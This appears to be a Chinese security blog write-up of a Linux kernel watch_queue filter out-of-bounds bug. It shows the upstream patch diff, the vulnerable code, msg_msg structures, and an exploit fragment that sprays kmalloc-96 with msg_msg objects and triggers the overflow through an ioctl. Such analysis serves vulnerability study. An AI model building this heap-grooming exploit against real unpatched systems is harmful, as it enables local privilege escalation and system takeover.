@@ -320,7 +319,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,             tf[i].info_mask & WATCH_INFO_LENGTH)             goto err_filter;         /* Ignore any unknown types */-        if (tf[i].type >= sizeof(wfilter->type_filter) * 8)+        if (tf[i].type >= WATCH_TYPE__NR)             continue;         nr_filter++;     }@@ -336,7 +335,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,      q = wfilter->filters;     for (i = 0; i < filter.nr_filters; i++) {-        if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)+        if (tf[i].type >= WATCH_TYPE__NR)             continue;          q->type            = tf[i].type;@@ -371,6 +370,7 @@ static void __put_watch_queue(struct kref *kref)      for (i = 0; i < wqueue->nr_pages; i++)         __free_page(wqueue->notes[i]);+    bitmap_free(wqueue->notes_bitmap);      wfilter = rcu_access_pointer(wqueue->filter);     if (wfilter)@@ -566,7 +566,7 @@ void watch_queue_clear(struct watch_queue *wqueue)     rcu_read_lock();     spin_lock_bh(&wqueue->lock); -    /* Prevent new additions and prevent notifications from happening */+    /* Prevent new notifications from being stored. */     wqueue->defunct = true;      while (!hlist_empty(&wqueue->watches)) {

for (i = 0; i < filter.nr_filters; i++) {    if ((tf[i].info_filter & ~tf[i].info_mask) ||        tf[i].info_mask & WATCH_INFO_LENGTH)        goto err_filter;    /* Ignore any unknown types */    if (tf[i].type >= sizeof(wfilter->type_filter) * 8)        continue;    nr_filter++;} /* Now we need to build the internal filter from only the relevant * user-specified filters. */ret = -ENOMEM;wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);if (!wfilter)    goto err_filter;wfilter->nr_filters = nr_filter; q = wfilter->filters;for (i = 0; i < filter.nr_filters; i++) {    if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)        continue;     q->type            = tf[i].type;    q->info_filter        = tf[i].info_filter;    q->info_mask        = tf[i].info_mask;    q->subtype_filter[0]    = tf[i].subtype_filter[0];    __set_bit(q->type, wfilter->type_filter);    q++;}

long watch_queue_set_filter(struct pipe_inode_info *pipe,                struct watch_notification_filter __user *_filter){      ...    tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));...}

do {   ntries++;    filter->nr_filters = nfilters;   for (int i = 0; i < (nfilters - 1); i++) {  // choose kmalloc-96     filter->filters[i].type = 1;   }    // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned   filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024    if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {     perror("pipe2()");     exit(1);   }    // Spray kmalloc-96   spray_msgmsg();   delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc   delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup    // Filter go   if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {     perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");     goto err;   }    check_corruption();    if (corrupted_idx != -1)     break;    cleanup_msgmsg(); } while (ntries < CORRUPT_MSGMSG_TRIES);

struct callback_head {    struct callback_head *next;    void (*func)(struct callback_head *head);} __attribute__((aligned(sizeof(void *))));#define rcu_head callback_head

struct msg_msg {    struct list_head m_list;    long m_type;    size_t m_ts;        /* message text size */    struct msg_msgseg *next;    void *security;    /* the actual message follows immediately */}; // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/types.hstruct list_head {    struct list_head *next, *prev;}; // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.cstruct msg_msgseg {    struct msg_msgseg *next;    /* the next part of the message follows immediately */};

static struct msg_msg *alloc_msg(size_t len){    struct msg_msg *msg;    struct msg_msgseg **pseg;    size_t alen;     alen = min(len, DATALEN_MSG);  //4048    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);    if (msg == NULL)        return NULL;     msg->next = NULL;    msg->security = NULL;     len -= alen;    pseg = &msg->next;    while (len > 0) {        struct msg_msgseg *seg;         cond_resched();         alen = min(len, DATALEN_SEG);        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);        if (seg == NULL)            goto out_err;        *pseg = seg;        seg->next = NULL;        pseg = &seg->next;        len -= alen;    }     return msg; out_err:    free_msg(msg);    return NULL;}

# 往期推荐

1.ZJCTF2021 Reverse-Triple Language

2.Docker-remoter-api渗透

3.Writeup-ROP Emporium fluff

4.APT28样本超详细分析

5.Windows内核-句柄

6.CVE-2016-0095提权漏洞学习笔记